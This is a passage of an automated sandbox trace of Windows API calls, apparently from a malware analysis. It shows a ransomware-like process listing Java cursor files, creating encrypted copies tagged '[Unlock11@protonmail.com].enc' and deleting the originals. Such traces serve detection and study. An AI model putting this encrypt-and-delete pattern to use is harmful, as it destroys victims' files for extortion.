lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.976] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors")) returned 0x10 [0132.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0132.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0132.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5be0 | out: hHeap=0x2ad0000) returned 1 [0132.976] GetCurrentThreadId () returned 0x9b0 [0132.976] GetLastError () returned 0x12 [0132.976] GetLastError () returned 0x12 [0132.977] GetLastError () returned 0x12 [0132.977] GetLastError () returned 0x12 [0132.977] FindFirstFileA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7510 [0132.978] GetLastError () returned 0x12 [0132.978] GetCurrentThreadId () returned 0x9b0 [0132.978] GetLastError () returned 0x12 [0132.978] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0132.978] GetLastError () returned 0x12 [0132.978] GetCurrentThreadId () returned 0x9b0 [0132.979] GetLastError () returned 0x12 [0132.979] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="cursors.properties", cAlternateFileName="CURSOR~1.PRO")) returned 1 [0132.979] GetLastError () returned 0x12 [0132.979] GetCurrentThreadId () returned 0x9b0 [0132.979] GetLastError () returned 0x12 [0132.979] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="invalid32x32.gif", cAlternateFileName="INVALI~1.GIF")) returned 1 [0132.979] GetLastError () returned 0x12 [0132.979] GetCurrentThreadId () returned 0x9b0 [0132.979] GetLastError () returned 0x12 [0132.979] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="win32_CopyDrop32x32.gif", cAlternateFileName="WIN32_~1.GIF")) returned 1 [0132.979] GetLastError () returned 0x12 [0132.979] GetCurrentThreadId () returned 0x9b0 [0132.979] GetLastError () returned 0x12 [0132.980] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="win32_CopyNoDrop32x32.gif", cAlternateFileName="WIN32_~2.GIF")) returned 1 [0132.980] GetLastError () returned 0x12 [0132.980] GetCurrentThreadId () returned 0x9b0 [0132.980] GetLastError () returned 0x12 [0132.980] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="win32_LinkDrop32x32.gif", cAlternateFileName="WIN32_~3.GIF")) returned 1 [0132.980] GetLastError () returned 0x12 [0132.980] GetCurrentThreadId () returned 0x9b0 [0132.980] GetLastError () returned 0x12 [0132.980] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="win32_LinkNoDrop32x32.gif", cAlternateFileName="WIN32_~4.GIF")) returned 1 [0132.980] GetLastError () returned 0x12 [0132.980] GetCurrentThreadId () returned 0x9b0 [0132.980] GetLastError () returned 0x12 [0132.980] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x93, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="win32_MoveDrop32x32.gif", cAlternateFileName="WI06CF~1.GIF")) returned 1 [0132.981] GetLastError () returned 0x12 [0132.981] GetCurrentThreadId () returned 0x9b0 [0132.981] GetLastError () returned 0x12 [0132.981] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="win32_MoveNoDrop32x32.gif", cAlternateFileName="WIE2D6~1.GIF")) returned 1 [0132.981] GetLastError () returned 0x12 [0132.981] GetCurrentThreadId () returned 0x9b0 [0132.981] GetLastError () returned 0x12 [0132.981] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="win32_MoveNoDrop32x32.gif", cAlternateFileName="WIE2D6~1.GIF")) returned 0 [0132.981] GetLastError () returned 0x12 [0132.981] GetCurrentThreadId () returned 0x9b0 [0132.981] GetLastError () returned 0x12 [0132.981] GetLastError () returned 0x12 [0132.981] FindClose (in: hFindFile=0x10f7510 | out: hFindFile=0x10f7510) returned 1 [0132.982] GetLastError () returned 0x12 [0132.982] GetLastError () returned 0x12 [0132.982] GetLastError () returned 0x12 [0132.982] GetLastError () returned 0x12 [0132.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0132.983] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 0x20 [0132.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a25c0 | out: hHeap=0x2ad0000) returned 1 [0132.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0132.984] GetCurrentThreadId () returned 0x9b0 [0132.984] GetLastError () returned 0x12 [0132.984] GetLastError () returned 0x12 [0132.984] GetLastError () returned 0x12 [0132.984] GetLastError () returned 0x12 [0132.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0132.984] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 0x20 [0132.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba80 | out: hHeap=0x2ad0000) returned 1 [0132.985] GetLastError () returned 0x12 [0132.985] GetLastError () returned 0x12 [0132.985] GetLastError () returned 0x12 [0132.985] GetLastError () returned 0x12 [0132.985] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0132.985] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 0x20 [0132.986] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f90 | out: hHeap=0x2ad0000) returned 1 [0132.986] GetCurrentThreadId () returned 0x9b0 [0132.986] GetLastError () returned 0x12 [0132.986] GetLastError () returned 0x12 [0132.986] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 0x20 [0132.986] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a23b0 | out: hHeap=0x2ad0000) returned 1 [0132.987] GetCurrentThreadId () returned 0x9b0 [0132.987] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 0x20 [0132.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a24b8 | out: hHeap=0x2ad0000) returned 1 [0132.987] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881138, Size=0x20) returned 0x33eaeb8 [0132.987] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 0x20 [0132.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2408 | out: hHeap=0x2ad0000) returned 1 [0132.987] GetCurrentThreadId () returned 0x9b0 [0132.987] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 0x20 [0132.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2460 | out: hHeap=0x2ad0000) returned 1 [0132.988] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 0x20 [0132.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1e88 | out: hHeap=0x2ad0000) returned 1 [0132.988] GetCurrentThreadId () returned 0x9b0 [0132.988] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties", lpFilePart=0x9bada4*="cursors.properties") returned 0x48 [0132.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0132.988] GetCurrentThreadId () returned 0x9b0 [0132.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0132.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0132.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0132.989] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif", lpFilePart=0x9bada4*="invalid32x32.gif") returned 0x46 [0132.989] GetCurrentThreadId () returned 0x9b0 [0132.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0132.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0132.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0132.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0132.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eadc8 [0132.990] GetCurrentThreadId () returned 0x9b0 [0132.990] GetCurrentThreadId () returned 0x9b0 [0132.990] GetCurrentThreadId () returned 0x9b0 [0132.990] GetCurrentThreadId () returned 0x9b0 [0132.990] GetCurrentThreadId () returned 0x9b0 [0132.990] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaf58 | out: hHeap=0x2ad0000) returned 1 [0132.990] GetCurrentThreadId () returned 0x9b0 [0132.990] GetCurrentThreadId () returned 0x9b0 [0132.990] GetCurrentThreadId () returned 0x9b0 [0132.990] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99)) returned 1 [0132.991] GetCurrentThreadId () returned 0x9b0 [0132.991] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bf0c | out: pbBuffer=0x366bf0c) returned 1 [0132.991] GetCurrentThreadId () returned 0x9b0 [0132.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0132.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0132.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0132.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaee0 [0132.991] GetCurrentThreadId () returned 0x9b0 [0132.991] GetCurrentThreadId () returned 0x9b0 [0132.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaee0 | out: hHeap=0x2ad0000) returned 1 [0132.992] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf30 [0132.992] GetCurrentThreadId () returned 0x9b0 [0132.992] GetCurrentThreadId () returned 0x9b0 [0132.992] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de618 [0132.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5e18 | out: hHeap=0x2ad0000) returned 1 [0132.992] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0132.992] GetFileType (hFile=0x39c) returned 0x1 [0132.992] GetCurrentThreadId () returned 0x9b0 [0132.993] GetFileType (hFile=0x39c) returned 0x1 [0132.993] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.993] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.993] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.993] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.993] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.993] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.993] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.993] GetLastError () returned 0x0 [0132.993] GetCurrentThreadId () returned 0x9b0 [0132.993] GetLastError () returned 0x0 [0132.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0132.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbad0 | out: hHeap=0x2ad0000) returned 1 [0132.994] GetLastError () returned 0x0 [0132.994] GetLastError () returned 0x0 [0132.994] GetLastError () returned 0x0 [0132.994] GetLastError () returned 0x0 [0132.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.994] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de5d8 [0132.994] GetLastError () returned 0x0 [0132.994] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0132.995] GetFileType (hFile=0x3ac) returned 0x1 [0132.995] GetLastError () returned 0x0 [0132.995] GetCurrentThreadId () returned 0x9b0 [0132.995] GetLastError () returned 0x0 [0132.995] GetFileType (hFile=0x3ac) returned 0x1 [0132.995] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.995] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.995] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.996] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.996] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.996] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.996] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.996] GetLastError () returned 0x0 [0132.996] GetCurrentThreadId () returned 0x9b0 [0132.996] GetLastError () returned 0x0 [0132.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5d8 | out: hHeap=0x2ad0000) returned 1 [0132.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0132.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0132.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0132.996] GetLastError () returned 0x0 [0132.997] GetLastError () returned 0x0 [0132.997] GetCurrentThreadId () returned 0x9b0 [0132.997] GetLastError () returned 0x0 [0132.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0132.997] GetLastError () returned 0x0 [0132.997] GetLastError () returned 0x0 [0132.997] GetCurrentThreadId () returned 0x9b0 [0132.997] GetLastError () returned 0x0 [0132.997] GetLastError () returned 0x0 [0132.998] GetLastError () returned 0x0 [0132.998] GetCurrentThreadId () returned 0x9b0 [0132.998] GetLastError () returned 0x0 [0132.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0132.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xb8) returned 0x325fa70 [0132.999] GetCurrentThreadId () returned 0x9b0 [0132.999] GetLastError () returned 0x0 [0132.999] GetLastError () returned 0x0 [0132.999] GetLastError () returned 0x0 [0132.999] GetLastError () returned 0x0 [0132.999] GetCurrentThreadId () returned 0x9b0 [0132.999] GetLastError () returned 0x0 [0132.999] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x325fa70 | out: hHeap=0x2ad0000) returned 1 [0132.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0133.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0133.000] GetLastError () returned 0x0 [0133.000] GetLastError () returned 0x0 [0133.000] GetCurrentThreadId () returned 0x9b0 [0133.000] GetLastError () returned 0x0 [0133.000] GetLastError () returned 0x0 [0133.000] GetLastError () returned 0x0 [0133.000] GetCurrentThreadId () returned 0x9b0 [0133.000] GetLastError () returned 0x0 [0133.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8608 | out: hHeap=0x2ad0000) returned 1 [0133.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.001] GetLastError () returned 0x0 [0133.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0133.001] CloseHandle (hObject=0x3ac) returned 1 [0133.002] GetLastError () returned 0x0 [0133.002] GetCurrentThreadId () returned 0x9b0 [0133.002] GetLastError () returned 0x0 [0133.002] GetLastError () returned 0x0 [0133.002] CloseHandle (hObject=0x39c) returned 1 [0133.002] GetLastError () returned 0x0 [0133.002] GetCurrentThreadId () returned 0x9b0 [0133.002] GetLastError () returned 0x0 [0133.002] GetLastError () returned 0x0 [0133.003] GetLastError () returned 0x0 [0133.003] GetLastError () returned 0x0 [0133.003] GetLastError () returned 0x0 [0133.003] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 1 [0133.004] GetLastError () returned 0x0 [0133.004] GetCurrentThreadId () returned 0x9b0 [0133.004] GetLastError () returned 0x0 [0133.004] GetCurrentThreadId () returned 0x9b0 [0133.004] GetLastError () returned 0x0 [0133.004] GetLastError () returned 0x0 [0133.004] GetLastError () returned 0x0 [0133.004] GetLastError () returned 0x0 [0133.005] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif", lpFilePart=0x9bada4*="win32_CopyDrop32x32.gif") returned 0x4d [0133.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0133.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0133.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0133.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0133.005] GetCurrentThreadId () returned 0x9b0 [0133.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaff8 [0133.005] GetLastError () returned 0x0 [0133.005] GetLastError () returned 0x0 [0133.005] GetLastError () returned 0x0 [0133.005] GetLastError () returned 0x0 [0133.006] GetCurrentThreadId () returned 0x9b0 [0133.006] GetLastError () returned 0x0 [0133.006] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaff8 | out: hHeap=0x2ad0000) returned 1 [0133.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eada0 [0133.006] GetLastError () returned 0x0 [0133.006] GetLastError () returned 0x0 [0133.006] GetLastError () returned 0x0 [0133.006] GetLastError () returned 0x0 [0133.007] GetCurrentThreadId () returned 0x9b0 [0133.007] GetLastError () returned 0x0 [0133.007] GetCurrentThreadId () returned 0x9b0 [0133.007] GetLastError () returned 0x0 [0133.007] GetLastError () returned 